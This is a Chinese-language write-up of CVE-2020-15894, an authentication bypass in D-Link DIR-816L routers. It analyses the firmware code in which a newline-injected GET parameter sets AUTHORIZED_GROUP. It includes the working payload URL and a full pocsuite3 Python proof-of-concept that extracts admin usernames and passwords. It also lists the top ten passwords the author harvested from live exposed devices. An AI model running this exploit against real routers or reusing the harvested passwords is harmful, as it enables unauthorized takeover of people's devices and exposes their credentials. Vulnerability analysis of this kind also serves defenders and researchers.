CVE-2020-15894: D-Link DIR-816L 信息泄漏

+

背景

今天发现了 CVE-2020-15894 D-Link DIR-816L信息泄漏漏洞。

描述
CVE编号 CVE-2020-15894
漏洞等级 高危
CNNVD编号 CNNVD-202007-1376
影响厂商 dlink友讯科技股份有限公司
影响固件 dir-816l_firmware
检索语法 “dlink友讯科技股份有限公司.dir-816l_firmware”
指纹 “target=\”_blank\“>DIR-816L”
危害 泄漏各种配置信息,包含设备密码。

漏洞详情

NVD对漏洞的描述:

An issue was discovered on D-Link DIR-816L devices 2.x before 1.10b04Beta02. There exists an exposed administration function in getcfg.php, which can be used to call various services. It can be utilized by an attacker to retrieve various sensitive information, such as admin login credentials, by setting the value of _POST_SERVICES in the query string to DEVICE.ACCOUNT.

问题出在getcfg.php中。(DIR-8XX系列中网上公布的有现有的Pyaload,此次和以前不一样的是请求方法为GET,参数为_POST_SERVICE)

固件下载:http://legacyfiles.us.dlink.com/

使用fat模拟固件运行环境,如图。

image-20200728193539978

使用nb进行转发,使得外部能够访问。

image-20200729001327785

ssh登录,得到getcfg.php,漏洞利用点在

$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);

到达此步需要绕过is_power_user函数。固件处理请求的函数均在cgibin中。

function is_power_user()
{
	if($_GLOBALS["AUTHORIZED_GROUP"] == "")
	{
		return 0;
	}
	if($_GLOBALS["AUTHORIZED_GROUP"] < 0){
		return 0;
	}
	return 1;
}

if ($_POST["CACHE"] == "true")
{
	echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
	if(is_power_user() == 1)
	{
		/* cut_count() will return 0 when no or only one token. */
		$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
		TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
		$SERVICE_INDEX = 0;
		while ($SERVICE_INDEX < $SERVICE_COUNT)
		{
			$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
			TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
			if ($GETCFG_SVC!="")
			{
				$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
				/* GETCFG_SVC will be passed to the child process. */
				if (isfile($file)=="1") dophp("load", $file);
			}
			$SERVICE_INDEX++;
		}
	}
	else
	{
		/* not a power user, return error message */
		echo "\t<result>FAILED</result>\n";
		echo "\t<message>Not authorized</message>\n";
	}
}

反编译cgibin找到main函数,phpcgi处理相应的php的请求。image-20200729154433561

phpcgi_main: 判断请求方法,Payload为GET则调用FUN_00405798。

image-20200729154916981

image-20200729155114528

可以看到FUN_00405798将数据处理,以0x3d(=号)形成键值对参数,每个键前加上_GET_前缀。各个键值对之间以10(ascii码 \n)分割。

payload在经过处理后变成了

_GET_a=\n_POST_SERVICES=DEVICE.ACCOUNT\nAUTHORIZED_GROUP=1。最终以\n进行分割。导致_POST_SERVICES=DEVICE.ACCOUNTAUTHORIZED_GROUP=1被分离出来。造成认证绕过。这也是此次GET请求中直接使用_POST_SERVICES而不是SERVICES的原因。

命中结果分析

收集了此次命中目标使用的密码。组成了一个字典。使用频率前十如下表:

次数 密码
206 28001277
36 admin
25 qu4dk3y
25 boila1!
22 bonev47
21 r9112014
21 4163915581
19 oidtbmav1
19 JZax]Cd9”09qo
19 isiap1

验证代码

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Time : 2020/7/28 下午6:31
# Author : William Jones
# File : info_leak.py
# Email : [email protected]
# copyright: (c) 2020 by William Jones.
# license: Apache2, see LICENSE for more details.
# description: Life is Fantastic.

import json
from urllib.parse import urlparse
from lxml import etree

from pocsuite3.api import Output
from pocsuite3.api import POCBase
from pocsuite3.api import register_poc
import requests as req


class TestPOC(POCBase):
    vulID = ''
    version = ''
    author = [""]
    vulDate = ''
    createDate = ''
    updateDate = ''
    references = [""]
    name = ""
    appPowerLink = ''
    appName = ''
    appVersion = ''
    vulType = ''
    desc = '''
    '''
    samples = [
    ]
    install_requires = ['']
    search_keyword = ''

    def _attack(self):
        result = {}
        #Write your code here
        return self.parse_output(result)

    def _verify(self):
        result = {}
        self.raw_url = self.url
        host = urlparse(self.url).hostname
        port = urlparse(self.url).port
        scheme = urlparse(self.url).scheme
        if port is None:
            port = "80"
        else:
            port = str(port)
        if "https" == scheme:
            self.url = "%s://%s" % (scheme, host)
        else:
            self.url = "%s://%s:%s" % (scheme, host, port)
        # Write your code here

        try:
            res = self.get_info()
            if res:
                username, password = res
                result["url"] = self.url
                # 单位信息,能够精准获取到的单位名称
                result["unit_name"] = ""
                # Web网站相关信息
                result["web"] = {
                    # 网站默认首页的title信息(可能含有单位或组织信息)
                    # "title":""
                }
                # 凭据类信息,针对各类弱口令、默认口令漏洞
                result["login_credentials"] = [
                    {"username": username, "password": password, "credential_type": "网站后台"},
                ]
        except Exception as e:
            pass

        return self.parse_output(result)

    def get_info(self):
        headers = {
            "User-Agent": "googlr spider"
        }
        payload = "/getcfg.php?a=%0A_POST_SERVICES%3DDEVICE.ACCOUNT%0AAUTHORIZED_GROUP%3D1"
        try:
            res = req.get(url=self.url + payload, timeout=30, headers=headers)
            if res.status_code == 200 and "DEVICE.ACCOUNT" in res.text:
                page = etree.XML(res.content)
                username = page.xpath("/postxml/module/device/account/entry/name/text()")
                password = page.xpath("/postxml/module/device/account/entry/password/text()")
                print(username, password)
                return (username, password)
        except Exception as e:
            pass
        return ()

    def parse_output(self, result):
        output = Output(self)
        if len(result.keys()) != 0:
            json_result = {
                "result": {"json": json.dumps(result)}
            }
            output.success(json_result)
        else:
            output.fail('Internet nothing returned')
        return output


register_poc(TestPOC)

其它:

这个漏洞是DIR-8XX的老问题了,不过之前的Payload的都为POST提交i的且参数也不一致。之前的Payload测试同样能够成功:

image-20200729164154687

原理类似。